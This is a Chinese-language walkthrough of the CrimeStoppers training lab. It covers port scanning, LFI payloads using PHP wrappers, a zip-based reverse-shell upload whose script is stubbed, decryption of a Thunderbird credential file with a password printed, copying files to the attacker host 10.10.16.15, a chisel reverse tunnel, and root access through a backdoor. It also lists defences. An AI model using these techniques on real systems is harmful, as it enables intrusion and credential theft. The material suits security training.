[Meachines] [Hard] CrimeStoppers LFI+ZIP-Shell+Firefox-Dec+DLINK+rootme-0.5
字数 1034 2025-08-29 22:41:38
CrimeStoppers 渗透测试教学文档
1. 信息收集
1.1 目标识别
- 目标IP: 10.10.10.80
- 开放端口: 80/tcp (Apache httpd 2.4.25 on Ubuntu)
- 网站标题: "FBIs Most Wanted: FSociety"
1.2 端口扫描
使用以下命令进行端口扫描:
ip='10.10.10.80'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
2. Web应用分析
2.1 LFI漏洞利用
网站存在本地文件包含(LFI)漏洞,可通过以下方式利用:
GET /?op=php://filter/convert.base64-encode/resource=index HTTP/1.1
Host: 10.10.10.80
Cookie: admin=1
2.2 源码分析
关键PHP代码片段:
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\.|\//', $op) || preg_match('/\0/', $op))
die('Are you really trying ' . htmlentities($op) . '!? Did we Time Travel? This isn\'t the 90\'s');
if(!(include $op . '.php')) fatal('no such page');
2.3 上传功能分析
上传功能特点:
- 使用CSRF保护
- 文件保存在
uploads/$client_ip/$secretname - 文件名通过
genFilename()函数生成 - 文件包含时会自动添加
.php后缀
3. 漏洞利用
3.1 ZIP协议利用
利用ZIP协议解析上传的恶意文件:
- 生成包含PHP反向shell的zip文件:
import zipfile
payload = '''<?php /* 反向shell代码 */ ?>'''
with open('maptnh.php', 'w') as f:
f.write(payload)
with zipfile.ZipFile('exp.zip', 'w') as zipf:
zipf.write('maptnh.php')
- 完整利用脚本:
import requests
import re
import subprocess
import sys
import zipfile
def gen_zip(ip, port):
# 生成包含反向shell的zip文件
pass
def exp(target, tun0_ip):
# 执行漏洞利用
pass
if __name__ == "__main__":
target = "http://10.10.10.80"
ip = sys.argv[1] # 监听IP
port = sys.argv[2] # 监听端口
gen_zip(ip, port)
exp(target, get_tun0_ip())
3.2 获取初始访问
- 上传恶意zip文件
- 通过LFI触发zip中的PHP代码:
GET /?op=zip://uploads/[IP]/[filename]%23maptnh HTTP/1.1
4. 横向移动
4.1 Firefox凭据解密
- 定位Firefox/thunderbird配置文件:
cat /home/dom/.thunderbird/36jinndk.default/logins.json
- 使用firefox_decrypt工具解密:
python3 firefox_decrypt.py /path/to/profile
获取到:
- IMAP: dom@crimestoppers.htb / Gummer59
- SMTP: dom@crimestoppers.htb / Gummer59
4.2 使用dlink工具同步文件
- 在攻击机启动dlink服务器:
./dlink server --path /tmp/test
- 在目标机执行:
./dlink client --endpoint '10.10.16.15:10091' --path /home/dom/.thunderbird --key 'pykAHGgYqNck'
4.3 SSH隧道建立
- 攻击机启动chisel服务器:
chisel server -p 1080 --reverse
- 目标机连接:
./chisel client 10.10.16.15:1080 R:2222:localhost:22
- 通过隧道SSH登录:
ssh dom@127.0.0.1 -p 2222
5. 权限提升
5.1 rootme-0.5后门利用
检查日志文件寻找线索:
cat /tmp/access.log.3 | head -n 20
5.2 获取root权限
通过后门直接获取root访问:
nc 127.0.0.1 80
6. 标志获取
- 用户标志(User.txt):
3bb4930ab59d1a2db57e5fe11defcb27 - Root标志: 通过上述方法获取
关键工具总结
- dlink: 用于文件同步
- firefox_decrypt: 解密Firefox/Thunderbird保存的凭据
- chisel: 建立反向隧道
- nmap/masscan: 端口扫描
- zip协议利用: 绕过文件上传限制
防御建议
- 禁用危险的PHP包装器(如zip://)
- 实现严格的文件上传验证
- 定期更新系统和应用软件
- 监控异常网络活动
- 使用最小权限原则运行服务